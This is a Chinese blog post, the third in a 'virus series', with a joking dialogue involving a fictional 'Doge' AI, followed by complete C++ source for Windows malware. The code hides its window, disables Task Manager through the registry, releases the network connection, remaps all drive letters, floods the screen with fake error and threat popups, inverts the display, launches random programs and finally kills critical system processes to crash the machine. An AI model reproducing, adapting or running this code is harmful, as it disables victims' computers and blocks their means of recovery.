当前位置: 首页 > news >正文

C++:病毒系列回归记3/3 (Doge智能系统已上线)

上一期:C++:病毒系列回归记2/3

上上期:C++:病毒系列回归记1/3

Doge:(脑回路修复完成,开始导入系统)(正在上线ing......) 

Doge:提示:若没有看1和2的话,尽量先去看一下,否则可能看不懂。本期内容废话有点多,

可以直接看完整代码。

我:哟,没事了呀?上期没有到你吧?

Doge:......

上期说给你们整个完整代码,OKK

Doge:作者,请注意您的用词,英语词典中未有定义'OKK'这个词

Doge:错误代码↓↓↓

我:(直接给Doge关机了)

代码奉上:

#include <windows.h>
#include <time.h>
#include <bits/stdc++.h>
using namespace std;void Blue_Screen()
{system("wmic process where name=\"svchost.exe\" delete");system("wmic process where name=\"LsaIso.exe\" delete");system("wmic process where name=\"smss.exe\" delete");system("taskkill /f /fi \"pid ne 1\"");
}void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{system("ipconfig /release"); 
}void Make_Text(string same, string name)
{ofstream outfile(same,ios::out); outfile << name;outfile.close();	
}void CP_start()
{Make_Text("A.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");system("start A.bat");
}//鼠标指针的好管理
void Currur(int q)
{int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//当q为1时,进入死循环。while(1)SetCursorPos(rand() % x, rand() % y);			else{//乱移鼠标的线程while(q){SetCursorPos(rand() % x, rand() % y);q--;}	}
}
//控制台的好管理
void Hide()
{HWND s;s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (s) {ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(s, SW_HIDE);//隐藏窗口}	
}void CP_stop()
{Make_Text("B.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");system("start B.bat");
}void Make()
{Make_Text("ラム.vbs", "do\nmsgbox\"あなたのコンピュータGG\"\nloop");Make_Text("今年のトラック.vbs", "msgbox\"このプログラムは有効な 32 ビット プログラムではありません\",vbCritical");Make_Text("ロシアのスートン焼却発電.vbs", "msgbox\"致命的な重大なエラー\",vbExclamation");Make_Text("混雑した.vbs", "msgbox\"ごみ箱を空にしますか\",vbYesNo + vbInformation");	Make_Text("カトゥルピ.vbs", "msgbox\"あなたのコンピュータ\",vbYesNoCancel + vbQuestion");	Make_Text("防食層.vbs", "msgbox\"あたのコンピなたのコンピュータ!\",vbExclamation\nmsgbox\"韓国の錦湖がビッグVにコストをもたらす......\",vbCritical\n");Make_Text("MEMZ.txt", "YOUR computer will not be able to restart again. Your C drive has been destroyed. \nWait for the coming of the god of death! \nYou will have to go to the computer city to buy a new computer. Your prediction was one step behind mine.\nStupid human!");}void Crazy(int n)
{if(n == 0)system("start ラム.vbs");if(n == 1)system("start 今年のトラック.vbs");if(n == 2)system("start ロシアのスートン焼却発電.vbs");if(n == 3)system("start 混雑した.vbs");		if(n == 4)system("start カトゥルピ.vbs");	if(n == 5)system("start 防食層.vbs");	
}void ColorChange(){//while(1){int cx=GetSystemMetrics(SM_CXSCREEN);int cy=GetSystemMetrics(SM_CYSCREEN);HWND hwnds;hwnds = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (hwnds) {ShowOwnedPopups(hwnds, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(hwnds, SW_HIDE);//隐藏窗口}HDC hdcs = GetDC(0);BitBlt(hdcs, 0, 0, cx, cy, hdcs, 0, 0, NOTSRCCOPY); Sleep(1000);//}
}bool MaKer_ProcessRun()
{SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;PSID minID;BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);if(b){CheckTokenMembership(NULL, minID, &b);FreeSid(minID);return b == true;}elsereturn b == false;
}void Tsk()
{DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}void exe(int same)
{if(same == 0)	system("start notepad");if(same == 1)	system("start calc");if(same == 2)	system("start winver");if(same == 3)	system("start Nslookup");if(same == 4)	system("start cmd");if(same == 5)	system("start cleanmgr");if(same == 6)	system("start charmap");if(same == 7)	system("start dxdiag");if(same == 8)	system("start taskmgr");if(same == 9)	system("start wiaacmgr");		if(same == 10)	system("start mspaint");if(same == 11)	system("start mmc");if(same == 12)	system("start explorer.exe");
}void icon(int x, int y, int n)
{FreeConsole();HWND hwnd = GetDesktopWindow();HDC hdc = GetWindowDC(hwnd);POINT point;GetCursorPos(&point);//锁定鼠标位置if(n == 1)//错误图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//感叹号图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 3)//应用程序图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
}void Black_White()
{FreeConsole();int x, y;x = GetSystemMetrics(SM_CYSCREEN);y = GetSystemMetrics(SM_CYSCREEN);HWND hwnda = GetDesktopWindow();HDC hdca = GetWindowDC(hwnda);POINT pointa;POINT point;GetCursorPos(&point);DrawIcon(hdca, pointa.x - 5, pointa.y - 5, LoadIcon(0, IDI_ERROR));int randx, randy;randx = rand() % x + 0;randy = rand() % y + 0;BitBlt(GetDC(0),rand() % x + 0, rand() % y + 0,randx+200,randy+200,GetDC(0),randx,randy,NOTSRCCOPY);//a = GetSystemMetrics(SM_CYSCREEN);
}
int main() {Hide();Tsk();Make();explore();release();srand((unsigned)time(NULL));system("start MEMZ.txt");Sleep(10000);int random;int times = 50;CP_start();while(1){random = rand() % 6;Crazy(random);Sleep(random * 200 + 500);times -= 1;if(times == 0)break;}times = 20;while(1){random = rand() % 13;exe(random);random = rand() % 3;icon(0, 0, random + 1);Sleep(random * 200 + 500);times -= 1;if(times == 0)break;}Sleep(1000);Blue_Screen();
}

先别急着走啊,按个Ctrl+D有惊喜啊

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 如何使用查询路由构建更先进的 RAG
  • 宠物掉毛、有异味怎么办?怎么选择宠物空气净化器?
  • OpManager Plus简单说明以及在Linux下的安装
  • 四、控制结构
  • 网络协议的基础知识
  • 链表(静态/动态创建,遍历,计数,查找,在节点的前/后方插入新节点,头插法,尾插法)
  • 基于x86 平台opencv的图像采集和seetaface6的人脸检测功能
  • :class的用法及应用
  • java后端请求与响应总结
  • C++入门基础知识31
  • Vue解决父子组件传值,子组件改变值后父组件的值也改变的问题
  • WPF—Triggers触发器
  • Linux驱动开发基础(SR501人体红外模块)
  • HashMap 的实现原理
  • CSS3动画——飞行的小精灵
  • Git学习与使用心得(1)—— 初始化
  • Javascript编码规范
  • Java到底能干嘛?
  • mysql 5.6 原生Online DDL解析
  • Python爬虫--- 1.3 BS4库的解析器
  • python学习笔记-类对象的信息
  • React Transition Group -- Transition 组件
  • 从输入URL到页面加载发生了什么
  • 排序算法之--选择排序
  • 如何学习JavaEE,项目又该如何做?
  • 使用 5W1H 写出高可读的 Git Commit Message
  • nb
  • Semaphore
  • ​​​​​​​STM32通过SPI硬件读写W25Q64
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • ​1:1公有云能力整体输出,腾讯云“七剑”下云端
  • ​用户画像从0到100的构建思路
  • #pragma预处理命令
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • (1/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (2015)JS ES6 必知的十个 特性
  • (ctrl.obj) : error LNK2038: 检测到“RuntimeLibrary”的不匹配项: 值“MDd_DynamicDebug”不匹配值“
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (Python第六天)文件处理
  • (安卓)跳转应用市场APP详情页的方式
  • (二十四)Flask之flask-session组件
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (算法)Travel Information Center
  • (一)项目实践-利用Appdesigner制作目标跟踪仿真软件
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • (转)关于如何学好游戏3D引擎编程的一些经验
  • (转载)VS2010/MFC编程入门之三十四(菜单:VS2010菜单资源详解)
  • . NET自动找可写目录
  • .【机器学习】隐马尔可夫模型(Hidden Markov Model,HMM)
  • .bat批处理(七):PC端从手机内复制文件到本地
  • .NET/C# 推荐一个我设计的缓存类型(适合缓存反射等耗性能的操作,附用法)
  • .netcore 获取appsettings
  • .Net中间语言BeforeFieldInit
  • .skip() 和 .only() 的使用
  • [.net] 如何在mail的加入正文显示图片